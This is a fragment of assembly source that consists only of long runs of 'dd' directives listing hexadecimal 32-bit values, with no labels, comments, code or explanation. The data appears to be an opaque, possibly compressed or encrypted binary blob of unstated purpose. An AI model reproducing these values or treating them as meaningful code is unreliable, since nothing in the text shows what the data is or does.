		dd 2A18A963h, 30CDE710h, 0EBFAEC00h, 0F5780D49h, 40940E9Eh
		dd 152C9DAh, 0A0DB1DE4h, 83DC41D7h, 0DE6080C7h,	37B3E1C0h
		dd 442C986Ch, 7B54CEB8h, 41F848Ch, 2281B955h, 59733107h
		dd 0DD60D4h, 0F3DEF963h, 795CBE35h, 0A202640Ch,	63F0398Fh
		dd 2C6DA96Ah, 9CB99DF8h, 6BEB1400h, 0BFD91A38h,	712B6020h
		dd 2A907AECh, 1BFF640Eh, 0C460A0E7h, 4CAEA059h,	86133462h
		dd 21C83017h, 6800FACDh, 75965D26h, 4403A49Eh, 0EA2C24D8h
		dd 4A6090CFh, 482DD6h, 0BD92464Bh, 0C0F0D20Dh, 804250A2h
		dd 2294E011h, 3F8C4838h, 0B49EA964h, 1656A380h,	21C62F6h
		dd 36074AB7h, 2461BACEh, 8CA61068h, 906B0157h, 0C051D349h
		dd 2A0635Eh, 23708B4Eh,	0DD784075h, 774B02D8h, 0D0E9B532h
		dd 0F0DB5080h, 138138ADh, 0C0734440h, 0DAA42907h, 9C3C2E14h
		dd 740078E1h, 8F712853h, 78001E4Ah, 60FE579Ch, 0B2165C1h
		dd 0D2593251h, 6DE3F002h, 0C0493422h, 3023CB40h, 80514FF0h
		dd 5800C6A9h, 1A63349Ah, 0F8DD713Bh, 0D4C701CEh, 72E6458Fh
		dd 82002C79h, 40A9B6E3h, 9BC11F7h, 0D8E1EA33h, 312BD700h
		dd 72143FFDh, 2AE89E7Dh, 691F88EDh, 48C953FEh, 0FF3C9007h
		dd 14387B68h, 94360D88h, 17157C01h, 0CE16F1E6h,	0A243B0E6h
		dd 0BE00E221h, 0D7136CC0h, 24920847h, 0C144A102h, 201750D2h
		dd 0D132B8F9h, 0A84D0E0Eh, 0C9C82079h, 12DC6D98h, 88E92CD7h
		dd 338684B4h, 71987F0h,	14E14084h, 351C118Eh, 56B2766Dh
		dd 6EE40860h, 583A08A4h, 84A6CB88h, 30432294h, 4BF8DBC9h
		dd 564BD32h, 9E456180h,	9E08131h, 80D82C04h, 0D08396C7h
		dd 0E89F6420h, 31E8406Fh, 488790DCh, 0E9C29CB2h, 5045A72Fh
		dd 9338D900h, 248E0D7Fh, 90E8166Fh, 152261h, 0ED0BD649h
		dd 0F8B99B0Dh, 809FCA39h, 3D3732D2h, 5C7FA5AEh,	66220838h
		dd 0E0816D3Ah, 0D6484779h, 0D689833h, 7CAE021Dh, 803C2859h
		dd 0F2CE41E0h, 0E8430076h, 7AE38E29h, 9AFC1B1Dh, 70130214h
		dd 7FF49594h, 0E0B94E24h, 0CF292B11h, 23803E80h, 746EA5A6h
		dd 0C50046D3h, 87476611h, 12AD1854h, 0D08C6D30h, 33FA628h
		dd 67750E12h, 62C5C8C2h, 98406C90h, 16460918h, 0E8983BE1h
		dd 6A1E6DCEh, 0AE48D5h,	0AA5738A8h, 496E0070h, 0BC1BC2D9h
		dd 0D8B002Ah, 380274C1h, 0EB09A25Ah, 62377F9Fh,	927420E8h
		dd 18463025h, 790807BCh, 0BE00D661h, 0C9028998h, 0B41445h
		dd 16CB56CEh, 0A07EDBCAh, 8807F52Ch, 90AD8B40h,	0E02E0133h
		dd 1C4D6260h, 4528201Fh, 803DE83Dh, 46E148D2h, 91EC16DBh
		dd 0C0478950h, 0DB22604Eh, 12BF437Ch, 0A895E816h, 300C8090h
		dd 49F001A7h, 3483A0D8h, 13388EB3h, 0D81037EEh,	0B831092Ch
		dd 0A3E80106h, 0E811615Bh, 0C0343912h, 21BE970Ch, 2978001Ah
		dd 6640E66Ah, 0DD00F10Bh, 6DF28928h, 0C02F2096h, 0B3D27C31h
		dd 0F91CE67Dh, 20AEF0A0h, 5C8115h, 470D93C6h, 48CD886h
		dd 34FE6687h, 1674A4F2h, 0C838E94Ch, 22E164ABh,	0D83468C9h
		dd 0A7F112DFh, 0BB804A3Eh, 0E4129E34h, 0B7F11A8h, 43BE9C5h
		dd 0BF225344h, 0BE30FC1Bh, 0E8A67DE4h, 28076CE2h, 4A0D5C40h
		dd 3A551B40h, 0B0D04908h, 5D00F853h, 64BAE019h,	0D0056A90h
		dd 81C4EFFFh, 0A986B4D0h, 628F449h, 0EB0CC255h,	2B68F946h
		dd 8C6BD0E0h, 241E0854h, 83C0D913h, 0FE647A21h,	2348A4A1h
		dd 0A5A11350h, 0D3BD0F00h, 0A8426Eh, 8FAB138Eh,	0E683C3D2h
		dd 31F1463Fh, 2684F938h, 94A2D212h, 60127BA3h, 806B44FCh
		dd 6CB4972Ch, 0A1933041h, 74821C28h, 0A4B94852h, 7C1A08E8h
		dd 0E0161FF0h, 68C860FAh, 6498A63h, 1EAB0060h, 6609F157h
		dd 0FDED2B01h, 3E28E084h, 6D09420h, 9FC07E16h, 20307932h
		dd 8E0A7136h, 8D850527h, 80C9CB22h, 0CF076081h,	48240E78h
		dd 321C935Bh, 49AA57Ah,	59486204h, 21134CA4h, 51E97431h
		dd 24054A30h, 0CD455C2h
		dd 85282BB3h, 792C0644h, 0B08CA490h, 6E2116F4h,	0BA5862B8h
		dd 18103B11h, 50121E6Ah, 3890D4ADh, 0E0E810h, 0DA91BF30h
		dd 0A3F7D777h, 3EBA893Ch, 872618DDh, 0EEBF08h, 7E46F4ACh
		dd 0AD6DDF44h, 64006B7Bh, 11E6C4F5h, 0CC8D6F2h,	3461829Fh
		dd 5202DD50h, 0D9848050h, 186420ABh, 700089F0h,	11382CD0h
		dd 261DE1h, 374BB267h, 93346C5Fh, 570E9E04h, 0E21DBA20h
		dd 723CC800h, 0CC032EDh, 3DB9C38Eh, 6100C4D9h, 0A15808B6h
		dd 31F92CFh, 0D4A88E94h, 2100C5D9h, 683C0D02h, 1EC7F0E9h
		dd 37C8F22h, 0EBE89F71h, 0D3DE5100h, 35BE5727h,	0B64D386Eh
		dd 9EE8D200h, 0E7729AE2h, 6990E00h, 4A4451A6h, 0AED930E1h
		dd 1C368F61h, 10B32E00h, 6235C8A6h, 0F3800DAh, 950993F8h
		dd 3C0A3706h, 60E502C0h, 329E5000h, 7F0C1305h, 26C80CB6h
		dd 8220DE1Dh, 8038692Ah, 8F463B15h, 3C7103C8h, 0F0109950h
		dd 1829A94h, 69EC68Eh, 0F1C0341Fh, 523040E6h, 0B6079556h
		dd 0D9700FB7h, 78856C4Eh, 19D1003Eh, 0E6570478h, 3CFA0583h
		dd 0D17ED930h, 1D62F516h, 0EFCBB73h, 28EC36Bh, 0E9E80C9Eh
		dd 3BE6DD61h, 6E173900h, 8FCF32F1h, 3E0500ADh, 5A709482h
		dd 0E837BAD7h, 123031E3h, 50946D8h, 7E56C922h, 2FEC4863h
		dd 0D000DB11h, 0B4A61771h, 8561433Bh, 325B82F9h, 0E9408848h
		dd 313A0810h, 95FCBE04h, 488010CBh, 3EE4550h, 829EE663h
		dd 397C3362h, 5AF6F6FAh, 9470A50Ah, 41082835h, 0CAF98590h
		dd 0A888497h, 3CC45Ch, 0BC3D841Bh, 0E87B3E03h, 0C470CD63h
		dd 0AE210037h, 0E2B7E6E9h, 0E71B4B1h, 0ACC18D28h, 3A4C044h
		dd 7A845234h, 5BE0A5E9h, 281C601Fh, 0F9066D9Ch,	3898B26h
		dd 7892EEACh, 0C7AA6652h, 20403B04h, 1B37FE6Dh,	0B294E100h
		dd 99FF9E85h, 64AF76E4h, 4089D030h, 0C3D15D71h,	0EA62246Bh
		dd 50CA0314h, 21709D27h, 77123A05h, 80EAED97h, 8DEB4F66h
		dd 1862E60Eh, 0A78082ABh, 0BE34406Ah, 0CE100071h, 0FA91C241h
		dd 0CD0F3C51h, 0A916C8D9h, 0A05810C4h, 94411C9Bh, 5E2CC006h
		dd 0E54C44C8h, 84ACD92Ah, 27520726h, 0F0C0731Ch, 3445AFA4h
		dd 0B32100A8h, 23A7C48Dh, 7A06070Fh, 6BAEE685h,	719F0E39h
		dd 792692Dh, 4001B758h,	82AF7512h, 81C65E7Eh, 3931C6D9h
		dd 0F01DCB59h, 0A3E240F7h, 0CC20CA42h, 8228BF50h, 8A686048h
		dd 0DA001CD8h, 6B0D1915h, 57060050h, 6EBB109Fh,	2204B92Ah
		dd 18E89E6Ah, 4D823D43h, 24805D92h, 0D94BF851h,	9311316Ah
		dd 80C88814h, 0CA50E862h, 0B9F0065Ah, 0B928C470h, 0D009086h
		dd 0A2AA857Eh, 1B65AE7h, 0F32F3DD1h, 0E094761Bh, 1109A1C3h
		dd 120EC051h, 0BD3D85F8h, 0D4706C07h, 3DF57A80h, 6067451h
		dd 0E8BF3C9Bh, 7D0031ECh, 0FF6B925Ch, 4AAC7Eh, 0A06968BBh
		dd 0C4CDEA87h, 3F3BD212h, 0DEE8C021h, 0E063980h, 0F2A71D55h
		dd 0E65C3406h, 3379AFB5h, 44318626h, 5769B0D7h,	0F23AB360h
		dd 0E0F6282Ch, 0C0B0E629h, 0AB18A824h, 88E102C8h, 813B13Fh
		dd 0B4000E88h, 473B3DE5h, 6459D48Eh, 3899F102h,	18C0F906h
		dd 7C98CCA2h, 106FE542h, 984858F4h, 0C4C9F3Ch, 0C11507Ch
		dd 0F7B7053Fh, 0D83C6Fh, 0C4107548h, 2102FB07h,	4C0C8E0h
		dd 0E2C89E4h, 51C090C4h, 0FFD9C8CCh, 64F8F307h,	98C9136Dh
		dd 44A0B18h, 0F16BED94h, 555880F4h, 9B1457DBh, 358E8B9h
		dd 0C5A46793h, 32E98D1h, 780B4C5Bh, 0BDF16108h,	0A88A3888h
		dd 9ADB01E8h, 2651683Dh, 0F7199D82h, 0FE55A7C0h, 0E6FF177Fh
		dd 0A45A00E8h, 3C221F80h, 3B19D6B2h, 0F8315D3Ah, 1AABF3FCh
		dd 0B1126582h, 10850C41h, 42CDCh, 2AF075AEh, 0F6D82F5Dh
		dd 0C451FD0Dh, 10F0313Dh, 16140013h, 0B720351Bh, 0A02474BAh
		dd 0E7119039h, 0CC4D2A00h, 923FB8ADh, 0BE0015FAh, 0A5F95BA2h
		dd 98D70C26h, 5C711FDCh, 449280EAh, 0AD369977h,	2A08AF5Dh
		dd 2698834h, 7FC9879h, 2AA800AAh, 9E63F265h, 4219E593h
		dd 3BC890AFh, 9C4995C5h, 4F47430h, 0FE609636h, 0D7CCC29Fh
		dd 0DF10A42Ah, 44BEB284h, 18C5F216h, 20E41482h,	57530848h
		dd 0C4865A04h, 38CC37E9h, 0D1C901A2h, 0E7EAC250h, 5570D166h
		dd 3B9881B4h, 0C8C90210h, 22C0357Ch, 0D462640Dh, 82DFA1B8h
		dd 9DE2AD4h, 22296C04h,	2AE520ABh, 89000BEAh, 0E1B825A7h
		dd 1992FF1h, 53D1944Eh,	0C9327671h, 3E34237Eh, 56128021h
		dd 0DCCED41h, 26F0B063h, 603C3D71h, 0FA476B4Ah,	93986600h
		dd 4BC74169h, 790A1E18h, 0A22BC0A6h, 0CF4452E1h, 0D9E98090h
		dd 0D82050E9h, 4DFAA9AEh, 0F4DA2000h, 46315105h, 0EAD70010h
		dd 8D12559Bh, 189923D9h, 0F5210640h, 0B5DA013Eh, 55E3E5D4h
		dd 0CCB4742Ah, 9DA00A5Ch, 0D00ADD11h, 112451D9h, 0AFFE0082h
		dd 4993F629h, 6E6600D8h, 0FDB6275Eh, 51C61C5Ah,	139B8D9h
		dd 58D895D1h, 21F35FBEh, 7C240080h, 0CA00818Ch,	99900FA4h
		dd 4C98AEh, 0C74F93BEh,	0D8355669h, 0FD727CA0h,	3189FE00h
		dd 0D6982185h, 0F8D000F9h, 5937ECA3h, 718CBEFh,	9FC99E69h
		dd 516D2E40h, 0A409C9D8h, 0B8C8E032h, 20B92E71h, 0AF25BE80h
		dd 1481C6Dh, 0AA7DFD6h,	0CCAE2FA0h, 990267EEh, 0AF06B610h
		dd 45586070h, 6982888Bh, 520269DEh, 0C09D1B51h,	5DE0E6E0h
		dd 0F289C4CCh, 0A178416h, 0A420C450h, 0E0C168C3h, 0AAF60470h
		dd 8216E902h, 0CC2031D0h, 0F0DC5546h, 0B807329Fh, 0F8219088h
		dd 8424883Ch, 0CCC98CBh, 0A02650A4h, 0B972DB21h, 2D085D00h
		dd 884F53B0h, 0AB1E020Bh, 0CDB864E2h, 8C563C40h, 0EDE831C6h
		dd 992800B1h, 3359D5F1h, 43003E93h, 6C8E7934h, 0B87D2FEFh
		dd 0E81717ECh, 21DC2229h, 89B01E20h, 0E36F00A9h, 5ECC79A3h
		dd 49014F55h, 8C04B718h, 1860719Eh, 626F09F5h, 70981375h
		dd 6A387AFAh, 5C7B8090h, 6F040367h, 1D8A2C3Ah, 89A1352h
		dd 814984E0h, 0CD181970h, 286243F1h, 42D7016h, 40E00C50h
		dd 33ADCF5Ch, 1207255h,	8B1FEC29h, 22BBE670h, 0FC01B60h
		dd 61D9C041h, 1E14B126h, 0E95300F7h, 6C82F1CBh,	8070E84Ch
		dd 25AA8608h, 27672863h, 5C571C40h, 0D2CADFD6h,	4448832h
		dd 0C5CC470Ah, 571ED4CFh, 0DB4D3800h, 74B410h, 511A8B39h
		dd 4B8E1742h, 3D486078h, 7D0D0030h, 95704680h, 0C5B4A854h
		dd 0F464F727h, 376214FCh, 4C808C26h, 0AB402F21h, 25CE341Dh
		dd 7FB1080h, 3EF112CBh,	0D044E816h, 8D3F84FCh, 81FE86D4h
		dd 2E61435Bh, 317C1650h, 8D9A120h, 26CC8833h, 4719269h
		dd 28B2B5C8h, 0EC869E22h, 72D83D07h, 0A6F0D393h, 204C1AFh
		dd 0B56379D5h, 188E6A26h, 5D880031h, 0AE47DFC8h, 4CA90071h
		dd 0A52CBED5h, 941635BDh, 0FC08802Eh, 0C8DD80E2h, 6A095E1Dh
		dd 11C1ED00h, 0AAF2B153h, 30C740D9h, 4E5DF401h,	1F7F2FE1h
		dd 23A6F042h, 7CB068FCh, 32538D57h, 0DF1300FCh,	14F2600Ah
		dd 0C0A1F865h, 172E1919h, 7000F615h, 2BCE44E4h,	188DFDC4h
		dd 78981408h, 0E49074C5h, 20263C45h, 3C0469Dh, 0E61B11EAh
		dd 0E1B1B9B6h, 0C52DE07h, 16F42AB8h, 0C21C00D4h, 0CE0A683Ch
		dd 5139C430h, 0FA67E5B8h, 40CF380Fh, 96A0E92h, 4418DC10h
		dd 0B00B6176h, 944B77E6h, 61F05D8h, 0D9E022h, 87345344h
		dd 9E00FBB4h, 71E9B13Dh, 0E87FB706h, 483B13D5h,	9F240AD3h
		dd 9A6560E0h, 660F68A8h, 40FB5A9Ch, 2A8B02ABh, 41552EBDh
		dd 7598B0DCh, 684F82C7h
		dd 44507841h, 0B8FD3CD0h, 1DC26470h, 0AEA2628Ah, 21CA60A8h
		dd 63027EB5h, 3BAC5FCEh, 82B06029h, 58ACA45Ah, 21001067h
		dd 1F08163Ch, 10C41734h, 20B42620h, 32AB0052h, 0CFDAB9E5h
		dd 0C5221C28h, 79980020h, 778E49E2h, 5801039Bh,	0EF3C408Bh
		dd 3484BF74h, 0E3D58578h, 2EC86410h, 24018126h,	0D15C6B9Fh
		dd 0F8D1BC76h, 5C42CCF4h, 0EA22EC64h, 1E3DD57Bh, 0C377FD90h
		dd 4FBB9800h, 0C40CB632h, 79C90277h, 201F07EDh,	7800F4C6h
		dd 0F3E18A0Eh, 0E4562397h, 0B0A94CD0h, 3C10584Ch, 4B608891h
		dd 1C843409h, 0B23084F9h, 228780CCh, 2C0C657Bh,	2408CF74h
		dd 1DF11A4h, 801EB03Dh,	68A6198Ch, 3FB36164h, 2DA0F0DFh
		dd 0B1E6D712h, 9C0BC20h, 5120A0DCh, 8D0B00F9h, 1E8B6622h
		dd 9702A7CCh, 8267234Ah, 337CC45Dh, 20C210C5h, 2842848h
		dd 0E075D03Eh, 403F4299h, 20DA0C94h, 44A1633Fh,	3A0896CBh
		dd 0D03C0433h, 0A02BF8EFh, 4CE107BAh, 5C44ACB1h, 166703B2h
		dd 0EC1AED28h, 8F414011h, 58D80618h, 61503CC8h,	0E688F998h
		dd 69A863B4h, 31039F26h, 716614D7h, 8080AB01h, 0E9EF3AFh
		dd 1CFBB023h, 909DEF66h, 542028B1h, 47AC1001h, 51534398h
		dd 12D8E09Dh, 4948875h,	8278E21Eh, 0F26F1C40h, 243DBDADh
		dd 0A45C8Ch, 7F83E6F5h,	0B71ED985h, 0A93DF4F7h,	408C0C3h
		dd 0AF37BEE0h, 476DC5F9h, 80DCD030h, 8A2F241Ah,	3BF02109h
		dd 2DE4E43Fh, 4C8A01E6h, 0BE10C070h, 0A5B83EADh, 0DAF8B0C2h
		dd 0E6F884EFh, 63AE175Dh, 0F6C064C4h, 323C8493h, 0C4530Ah
		dd 8D7B7ACEh, 5B105C0Ch, 0C208209Bh, 7879B5B6h,	0B6AF501h
		dd 0C9931488h, 84CC2D31h, 185F7EF2h, 0B1E9165Eh, 0B10A3391h
		dd 90A27825h, 96B0C032h, 0FFB0D8h, 3A9BF48Dh, 8A5503DFh
		dd 1476F700h, 0CC0EB299h, 4507690h, 0C0588939h,	3C84E202h
		dd 0A90B275Eh, 0E44400h, 437FF866h, 0F4BBCB70h,	0E0F493Eh
		dd 0A444966Bh, 68842DB5h, 0A3D4D88Dh, 89DC1F80h, 332A401Fh
		dd 0F2276456h, 0CEFC7E04h, 14CC17D1h, 496003Bh,	0F1BC9FBBh
		dd 2803C3D0h, 0F342ED48h, 0F9A0E3D7h, 35F4571Ah, 13C140D6h
		dd 0CB12AC76h, 0A4007210h, 45980144h, 17190AA9h, 0A54C4651h
		dd 54C5CC89h, 0F27DEE07h, 0CD85F30h, 0F8B25007h, 0D93415F5h
		dd 1700ACC2h, 0DA7C99C7h, 471376ADh, 88011025h,	0D93DCE8Fh
		dd 0EA034822h, 2AAE57Fh, 5AF81E8Bh, 0BF02178Eh,	503C7C4Dh
		dd 58B0E60Ah, 0EF005206h, 609EB10Eh, 5FE8C83Dh,	0A15CD058h
		dd 0C004035Bh, 0D25CF820h, 0EFEB641Dh, 62F99EC7h, 0BEE90AA0h
		dd 0F21024CAh, 13443BE0h, 0C538ABF6h, 8A3E0108h, 314BC1AAh
		dd 0C2019863h, 8038D9D8h, 0CFA03003h, 9F66D013h, 32C0A0C0h
		dd 2776F8ACh, 309A9AF5h, 1031F461h, 91D144C8h, 9917B878h
		dd 1654003Eh, 9FF0627Ah, 59957101h, 51FAB201h, 92EEFCh
		dd 3C521C8Ah, 712F3ABDh, 0F7C0789Eh, 92850h, 0ECC8925Fh
		dd 5C0E0D6h, 0C497E494h, 0FA324020h, 539800CCh,	0B112FD0Eh
		dd 0EB48AEA2h, 0D9D01908h, 24EA8160h, 3B0940DEh, 16A2FB7h
		dd 6107F846h, 4328ADC5h, 35C868B4h, 0CBF6F7B1h,	0E87096A1h
		dd 0C5169BB5h, 0B4303286h, 0ADD4E4h, 0FDE1C9B2h, 0B5652E42h
		dd 4B07226h, 6B405C2Eh,	42CD22h, 7304CFDEh, 5A677996h
		dd 9195C634h, 86130CC0h, 693B719Dh, 98463914h, 8F30C959h
		dd 0D2A7012Fh, 0D1E2F50Dh, 38FF0FD8h, 7FBD8060h, 67005B40h
		dd 1A551379h, 8A6C88Ch,	95423BBAh, 22648286h, 804C9161h
		dd 26D13F47h, 0E607CB04h, 70D2409Eh, 7DDFA610h,	0F2CA050Eh
		dd 0BAF8590h, 5831CC98h, 0E70460D4h, 33898B9h, 0EDE38D38h
		dd 7B0A0772h, 720F5370h, 24426FC8h, 1E406CD1h, 26EB1Ah
		dd 41E16516h, 0F3AE8B46h, 0AB089B00h, 1B6499BEh, 70421DBDh
		dd 30B9D3DCh, 17C05CF8h, 74577F02h, 60B1EC7Dh, 98B50674h
		dd 2318029Ch, 2C707388h, 8A0E9479h, 0DB9F404Dh,	747D0B4h
		dd 14431E87h, 56D52Ah, 0D5DE66A3h, 0E6278DA5h, 69FC91B7h
		dd 0E3ACEBD2h, 4B19EEBCh, 64144026h, 6E56EE73h,	0B80025E2h
		dd 0AA0BDCF2h, 0B4BF092h, 765DC291h, 4A50882h, 7614C40Bh
		dd 3CB5EAA4h, 53040709h, 80A0801Fh, 99061684h, 0C0CBF928h
		dd 0FD40549Ch, 15BFBE3Fh, 70702A1Bh, 0B3AC3D07h, 6E5F011h
		dd 6A7D951Ch, 9F5DDA00h, 4EC1BAB0h, 0BC22094Fh,	10041972h
		dd 7CC8579Ah, 3AEE0087h, 5754772h, 1500216Ah, 0F20D6F23h
		dd 0C664A69h, 0D5CA3E06h, 8B023D31h, 1CFC58B6h,	4024569Fh
		dd 87A343E5h, 9EC9AB0Bh, 0DE80A070h, 1F99B159h,	2C3C033h
		dd 0DF141ECAh, 0C6D4C8CBh, 70BC406Dh, 6FFB5960h, 49D8000Ah
		dd 1BBCD1CDh, 28706BE3h, 0AD68F704h, 0C4819416h, 0FC6C0FC0h
		dd 0F4478981h, 58BE80C2h, 0FCBCB73Ch, 0C0F009E2h, 0B4E4060Dh
		dd 9426C244h, 80A18084h, 0EF4FF29Eh, 715C0101h,	0F745818Eh
		dd 0DC8448ADh, 17BCA8F1h, 0C00AA24h, 94FCBB6Fh,	0AE8309C2h
		dd 0A05AD8DDh, 8D001AE2h, 956B090Fh, 1A5611B5h,	21BCB8E6h
		dd 0B1AEC040h, 4DC1FC18h, 3967180h, 2CCC3E75h, 0DEC06D87h
		dd 330F9E4Fh, 0C0EDB673h, 6342DA5Ch, 9477DABh, 25FFD71Ch
		dd 0CE0F84E8h, 0DF0F8BE6h, 3FAB634h, 0E014EECDh, 0F5B150h
		dd 6980A77Fh, 67A39D10h, 3B250EEAh, 43B04447h, 313F215Eh
		dd 619BC630h, 0C9E80082h, 6E1DED37h, 409C8E82h,	7C209CE4h
		dd 0D99E9080h, 0C30E950Bh, 0DC408434h, 3EE08B41h, 0C499E2E3h
		dd 4046835h, 0A4FED3Fh,	0ECD30180h, 0A3D403BDh,	0A876DE2Fh
		dd 3E1A8212h, 3F1700FFh, 4FFDC261h, 0A40908C6h,	563C0E20h
		dd 0CC036C0h, 0EB7730FAh, 903F8303h, 939F73D6h,	554DF12Ah
		dd 887A3180h, 0ADA813Ch, 79221906h, 60084123h, 3451217Dh
		dd 0A6007481h, 5D8D98A4h, 0BA4D69h, 36662A84h, 11E302D1h
		dd 0E6FE68C0h, 72589DA3h, 0C2A5187Dh, 0C526B87Ah, 3F35E401h
		dd 47817039h, 7D0B098Ch, 0CD000620h, 257A2CE4h,	1F314Fh
		dd 85672173h, 749CA1FCh, 8977B22Ch, 0E6925003h,	0C65901BDh
		dd 8DA72C7h, 6480801Ch,	0B3FE31DDh, 1EEF03CCh, 4E32A8C5h
		dd 8000F87Dh, 9C745965h, 0C775FC8Ch, 8FE10B48h,	0F2A97D63h
		dd 390730E2h, 4AD681D9h, 0BE404490h, 3B27B853h,	3E8754E6h
		dd 0A057E524h, 0CD939BAAh, 79CE8200h, 0FDD1BC7Ah, 442C0071h
		dd 0D62B04BEh, 2300C5FBh, 9BF97FB1h, 7C8FE299h,	0E08AFE21h
		dd 157400ABh, 9F7BAA37h, 7E00D411h, 0F8CA224Ch,	7508A12Fh
		dd 87D90067h, 7ABA9993h, 8AB8A881h, 7FE94100h, 8950D73Ch
		dd 728800F6h, 79636002h, 6A00C755h, 0DB664361h,	962690h
		dd 6FFFCC13h, 196959E4h, 60E9F300h, 0A498945Ch,	0E85EE16h
		dd 8070D92Eh, 54AA9A0h,	720059F3h, 30554F90h, 0D62FF5h
		dd 493A0CB7h, 40D364D7h, 0D47A4367h, 24190570h,	0EF0B3FFEh
		dd 0F23B697h, 0B50BFDF6h, 4F0003DCh, 5607EA24h,	0E308CC1Ch
		dd 23001021h, 0E7A7F747h, 60EE58CCh, 5D8C50D3h,	78D8FC30h
		dd 0FCD8D528h, 0C9FA3058h, 2C4DD420h, 0C8FF640h, 690230Bh
		dd 0CD00DD29h, 97853E91h, 667CDCB2h, 21F908C7h,	91B5C300h
		dd 0E5F33C1Eh, 0EBC0D0Ah, 0E0D95962h, 6E75B6FEh, 9B3879C1h
		dd 5B20F44Ah, 59D21BE7h, 21B608C9h, 4AB31700h, 9E6D27ABh
		dd 445C50E5h, 0F15D1D7Dh, 374A0675h, 0D40CA8ABh, 0B8E0786Dh
		dd 684B006Eh, 48AEAC8Ch
		dd 0A9038BE2h, 72257EA4h, 396AE0C6h, 0D07D00E1h, 0FCE82E9Fh
		dd 702465A0h, 0ED18A3F9h, 24AF7Ch, 513257Ch, 0E21F375Ah
		dd 6A90BB00h, 0BE48A92Fh, 7B2B0E12h, 9220DF19h,	0B617D2A6h
		dd 384F3B00h, 0B0E60EFCh, 0F78A0070h, 8E313ECh,	4B008030h
		dd 8B3C4129h, 5B36C7h, 0BAC2DAA1h, 28061304h, 0DDB44000h
		dd 581DB79Ah, 0ECE100DCh, 0BB4F9CEEh, 0DE0E86DFh, 0E0592637h
		dd 1944A8CEh, 0E15C1F4Ah, 23DD81EAh, 0D3DE3C97h, 9854837h
		dd 0D19955C0h, 3080F978h, 878E2FDAh, 3D6FA6CAh,	0ECDE8020h
		dd 0C298ABh, 602E4424h,	3FA8CA66h, 30E97188h, 0A7149DCh
		dd 0CB00FDA2h, 4F1CC17Dh, 22708BCFh, 76002704h,	2F865CD0h
		dd 6BE729Bh, 98D5088h, 0EC20B852h, 0FE1FE232h, 517937h
		dd 26E3DD3Eh, 5670DEFh,	685D4306h, 6184048h, 44D13965h
		dd 0F57F811Eh, 0F6DAF00Fh, 80598E90h, 0B0652340h, 444F00AAh
		dd 24B1703Dh, 0A7063B53h, 5D180FFEh, 4565311h, 0EF3065ACh
		dd 27701050h, 0DC320263h, 0A5C1DAFCh, 182620E0h, 92800609h
		dd 275807Ah, 0FC6EDF95h, 0BDB6003Ch, 3B49AE75h,	0C1033A01h
		dd 15DC640Ch, 3F4FA8EFh, 0DA6A0079h, 2189E870h,	6031ADFh
		dd 0D2BC4258h, 0C8B288BEh, 0E7D3Ah, 0FC93BF01h,	34A3EEB6h
		dd 5A7A9700h, 62B8AB4Ch, 29830074h, 679B9805h, 1007F238h
		dd 0EC5D92Ch, 400A3052h, 792A5F4Bh, 0A9EE00A0h,	0F87E92AAh
		dd 0CE284320h, 3701A5C9h, 6D30FF3h, 0E6DC2C38h,	546E0021h
		dd 0FDD9C13Fh, 0EB008E9Ch, 3BAE76EDh, 0E66CE29h, 88FFAC9Fh
		dd 0D21F4EEFh, 40281C47h, 6FCCF5DEh, 220C3C83h,	7A2BE08Dh
		dd 0BBACA9E3h, 44527840h, 293A00DCh, 0CFB0C173h, 4E003FD9h
		dd 0A2752742h, 0AE52FD7h, 0D249DD19h, 215F41F8h, 0E367D839h
		dd 62C2CC06h, 493789h, 1732E658h, 0AE919AD9h, 74778BFh
		dd 0AFF9A125h, 309777FAh, 5037A39Eh, 2BAD9C00h,	53FC99A4h
		dd 680A00D9h, 0B2E2491Eh, 0E77A4555h, 1C19A600h, 875BEE3Ch
		dd 502A0117h, 0C5ABC809h, 0D856F4F6h, 0F3C210Eh, 28B9406Fh
		dd 7582AF59h, 0E52B007Bh, 406866CAh, 55007CE3h,	0F81A650h
		dd 3B7F1090h, 3E94228Bh, 6700C445h, 9A75CD99h, 25003266h
		dd 0C1CBE86Ch, 0EB5E08h, 3A1B79A1h, 3E590AECh, 0D46CB801h
		dd 0E49C3B07h, 0DCE81021h, 609448A5h, 357E4000h, 31E51F6Eh
		dd 0EC88A600h, 10C48203h, 0CEF600A8h, 72603BD5h, 920F1822h
		dd 61F23AB4h, 0FDF097E1h, 7A1EE340h, 15AD0029h,	6E476179h
		dd 8B00D907h, 304DD83h,	0C892233Fh, 2B601171h, 4C8190h
		dd 0B64046FBh, 7E42F365h, 3D70D00Fh, 0A3C92012h, 13E4CA1h
		dd 0FF27D683h, 0C4592E39h, 0A9005A70h, 9B9F6BB0h, 0A05EADA0h
		dd 45F2ECh, 0BB272A82h,	382CAB12h, 1000D492h, 9C0BC6AAh
		dd 0D1B486h, 968E8187h,	0DA179298h, 4DCAC000h, 319A531Bh
		dd 0B9590414h, 0C0FCA5AAh, 6B152579h, 673EF1F6h, 98FF00A0h
		dd 9F99E487h, 5BDA4853h, 17300B00h, 1474F726h, 929D1A00h
		dd 0CAFD0469h, 0D47700E5h, 0E994DDBFh, 0EE005FEFh, 0C840DA52h
		dd 750AB63h, 7C310F9Eh,	1D191BDh, 0E621CCC0h, 4D7A8000h
		dd 3210B85Fh, 0E9272E3h, 5F74A67h, 46797860h, 2A1DECCDh
		dd 0CC24633Dh, 0EB5B5A00h, 67C60Bh, 3F4051F4h, 56195473h
		dd 0EFA2F71Ch, 0A0933640h, 1869AB9h, 0C3F84C4h,	0F48BD230h
		dd 3950C061h, 830E139Ch, 204E6C37h, 0A445758Ah,	0E0510B0Fh
		dd 2400916Eh, 0B7DED77Eh, 74F23Eh, 29707B19h, 261B59h
		dd 0EB893B54h, 56368F4Fh, 0F895D21Dh, 8EBDF1C0h, 30FB105h
		dd 0BF3C7DDh, 0C0BFD165h, 0EEAA9284h, 3E30E101h, 34207370h
		dd 6D367E84h, 0CB2490F2h, 117B37B3h, 40BB61FFh,	365952D8h
		dd 0D52D802Ch, 7E557000h, 1E91B421h, 49BB5FAAh,	20001F0Bh
		dd 15F46E7Bh, 0C3C69406h, 4818F265h, 931D2FD9h,	8CDF8110h
		dd 7B2F8768h, 126024B1h, 58F3F64Bh, 7807D267h, 0E728C42Ah
		dd 8375776Bh, 30BE3FCAh, 714F6C06h, 0E1040ABh, 8F4E6B97h
		dd 4CA0C329h, 0B8024221h, 6388670Eh, 448DC010h,	13CD303h
		dd 0A2F37605h, 0E8D5389Dh, 47FACC4Bh, 0FC39EA02h, 6825BE34h
		dd 3BB3568h, 283C552Ah,	33F78D57h, 0B5D095D3h, 4F03A508h
